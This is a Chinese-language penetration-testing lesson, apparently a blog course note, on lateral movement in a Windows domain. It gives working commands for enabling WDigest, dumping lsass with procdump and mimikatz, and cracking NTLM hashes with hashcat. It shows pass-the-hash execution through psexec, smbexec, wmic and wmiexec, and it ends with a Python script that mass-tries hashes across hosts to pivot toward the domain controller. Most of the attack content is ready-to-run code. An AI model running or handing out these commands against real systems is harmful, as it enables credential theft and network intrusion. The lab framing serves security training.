67:内网安全-域横向smb&wmi明文或hash传递
思维导图
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | 知识点1: Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码 Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码 针对以上情况,我们提供了4种方式解决此类问题 1.利用哈希 hash 传递(pth,ptk等)进行移动 2.利用其它服务协议(SMB,WMI等)进行哈希移动 3.利用注册表操作开启Wdigest Auth值进行获取 4.利用工具或第三方平台(Hachcat)进行破解获取 #注册表操作开启Wdigest Auth值 reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 知识点2: Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在Windows 2003以后,认证方式均为NTLM Hash。 #获取win密码hash的两个工具 Pwdump7 QuarksPwdump 知识点3: 域用户与本地用户的区别 比如,god /administrator 是域用户,. /administrator 是本地用户 |
本课重点
- 案例1:Procdump+Mimikatz配合获取
- 案例2:Hashcat破解获取Windows NTML Hash
- 案例3:域横向移动SMB服务利用-psexec,smbexec
- 案例4:域横向移动WMI服务利用-cscript,wmiexec,wmic
- 案例5:域横向移动以上服务hash批量利用-python编译exe
案例1:Procdump+Mimikatz配合获取
Mimikatz属于第三方软件,直接上传到目标主机可能被杀毒软件查杀,这时我们可以配合官方软件Procdump,将Procdump上传目标主机获取用户信息(该文件不可读),使用本地的Mimikatz打开Procdump获取的用户信息。
- Procdump下载:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
- mimikatz下载:https://github.com/gentilkiwi/mimikatz/releases
1 2 3 4 5 6 | # procdump 在目标机上执行 procdump -accepteula -ma lsass.exe lsass.dmp # mimikatz 在本地执行: sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords full |
案例演示-procdump配合mimikatz
<1>首先执行以下命令,在当前目录下生成lsass.dmp文件
1 | procdump -accepteula -ma lsass.exe lsass.dmp |
<2>然后mimikatz上执行以下命令,找到密码。
1 2 | sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords full |
案例2:Hashcat破解获取Windows NTML Hash
Hashcat下载:https://github.com/hashcat/hashcat
密码破解全能工具-Hashcat密码破解攻略:https://www.freebuf.com/sectool/164507.html
1 | hashcat -a 0 -m 1000 hash file --force // 爆破命令 |
案例3:域横向移动SMB服务利用-psexec,smbexec
利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放。
psexec工具:
- 在微软官方Pstools工具包中,但是官方Pstools中的psexec只能明文连接,无法采用hash连接。
- 如果需要hash连接,可以使用impacket工具包中的psexec,但是impacket非官方自带,容易被杀。
- Pstools官方工具包:
- https://docs.microsoft.com/en-us/sysinternals/downloads/pstools
- impacket工具包:
- https://gitee.com/RichChigga/impacket-examples-windows
- https://github.com/SecureAuthCorp/impacket
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | #psexec第一种:先有ipc链接,psexec需要明文或hash传递 net use \\192.168.3.32\ipc$ "admin!@#45" /user :administrator psexec \\192.168.3.32 -s cmd # 需要先有ipc链接 -s以System权限运行 #psexec第二种:不用建立IPC直接提供明文账户密码(推荐) psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd psexec -hashes :$HASH$ . /administrator @10.1.2.3 psexec -hashes :$HASH$ domain /administrator @10.1.2.3 psexec -hashes :518b98ad4178a53695dc997aa02d455c . /administrator @192.168.3.32 #smbexec工具: #非官方自带-参考impacket工具包使用,操作简单,容易被杀 #smbexec无需先ipc链接 明文或hash传递 smbexec god /administrator :Admin12345@192.168.3.21 smbexec . /administrator :admin!@ #45@192.168.3.32 smbexec -hashes :$HASH$ . /admin @192.168.3.21 smbbexec -hashes :$HASH$ domain /admin @192.168.3.21 smbexec -hashes :518b98ad4178a53695dc997aa02d455c . /administrator @192.168.3.32 smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god /administrator @192.168.3.21 |
案例演示
<1>psexec第一种:先有ipc链接,psexec需要明文或hash传递
1 2 | net use \\192.168.3.32\ipc$ "admin!@#45" /user :administrator psexec \\192.168.3.32 -s cmd # 需要先有ipc链接 -s以System权限运行 |
<2>psexec第二种:不用建立IPC直接提供明文账户密码
1 2 3 4 | psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd psexec -hashes :$HASH$ . /administrator @10.1.2.3 psexec -hashes :$HASH$ domain /administrator @10.1.2.3 psexec -hashes :518b98ad4178a53695dc997aa02d455c . /administrator @192.168.3.32 |
明文密码,成功。
hash密码,报错。原因是微软官方Pstools工具包中的psexec无法采用hash连接,只能明文连接
如果需要hash连接的话,可以下载第三方的impacket工具包。但是impacket工具包也有缺点,那就是很有可能会被查杀。
<3>smbexec无需先ipc链接 明文或hash传递
1 | 第1种:smbexec god /administrator :Admin12345@192.168.3.21 |
1 | 第2种:smbexec . /administrator :admin!@ #45@192.168.3.32 |
1 | 第3种:smbexec -hashes :$HASH$ . /admin @192.168.3.21 |
案例4:域横向移动WMI服务利用-cscript,wmiexec,wmic
WMI(Windows Management Instrumentation) 是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。
1 2 3 4 5 6 7 8 9 10 11 | #自带WMIC 明文传递 优点是自带工具,不用考虑免杀,缺点是无回显 wmic /node :192.168.3.21 /user :administrator /password :Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt" #自带cscript明文传递 有回显 cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345 #套件impacket wmiexec 明文或hash传递 有回显exe版本 易被杀 wmiexec . /administrator :admin!@ #45@192.168.3.32 "whoami" wmiexec god /administrator :Admin12345@192.168.3.21 "whoami" wmiexec -hashes :518b98ad4178a53695dc997aa02d455c . /administrator @192.168.3.32 "whoami" wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god /administrator @192.168.3.21 "whoami" |
wmiexec.vbs脚本下载:
- https://www.secpulse.com/wp-content/uploads/2015/05/cache-a360611dc24d240989799c29c555e4b7_wmiexec-v1_1.rar
案例演示
<1>自带WMIC 明文传递 优点是自带工具,不用考虑免杀,缺点是无回显
1 | wmic /node :192.168.3.21 /user :administrator /password :Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt" |
<2>自带cscript 明文传递 有回显
1 | cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345 |
<3>套件impacket wmiexec 明文或hash传递 有回显exe版本 易被杀
1 2 3 4 | wmiexec . /administrator :admin!@ #45@192.168.3.32 "whoami" wmiexec god /administrator :Admin12345@192.168.3.21 "whoami" wmiexec -hashes :518b98ad4178a53695dc997aa02d455c . /administrator @192.168.3.32 "whoami" wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god /administrator @192.168.3.21 "whoami" |
案例5:域横向移动以上服务hash批量利用-python编译exe
<1>mimikatz收集到密码hash(假设没收集到明文)
<2>探测同网段存活主机
<3>收集域用户名信息
<4>至此,我们已经收集到了IP,用户名,和密码hash。我们可以写一个python脚本批量利用。
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | import os,time ips = { '192.168.3.21' , '192.168.3.25' , '192.168.3.29' , '192.168.3.30' , '192.168.3.32' } users = { 'Administrator' , 'boss' , 'dbadmin' , 'fileadmin' , 'mack' , 'mary' , 'webadmin' } hashs = { #'ccef208c6485269c20db2cad21734fe7', '518b98ad4178a53695dc997aa02d455c' } for ip in ips: for user in users: for mimahash in hashs: #域用户和本地用户都试试 #wmiexec -hashes :hash god/user@ip whoami #wmiexec -hashes :hash ./user@ip whoami exec = "wmiexec -hashes :" + mimahash + " god/" + user + "@" + ip + " whoami" exec = "wmiexec -hashes :" + mimahash + " ./" + user + "@" + ip + " whoami" print ( '--->' + exec + '<---' ) os.system( exec ) time.sleep( 0.5 ) |
编译成exe文件
1 | pyinstaller.exe -F fuck_neiwang_001.py |
执行exe文件,拿下192.168.3.29主机
在192.168.3.29主机运行minikatz,获取到一个新的密码hash(假设只找到了hash)
将新的hash加入到python脚本中,重新编译打包,执行exe文件,就有可能渗透到别的主机,甚至域控。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通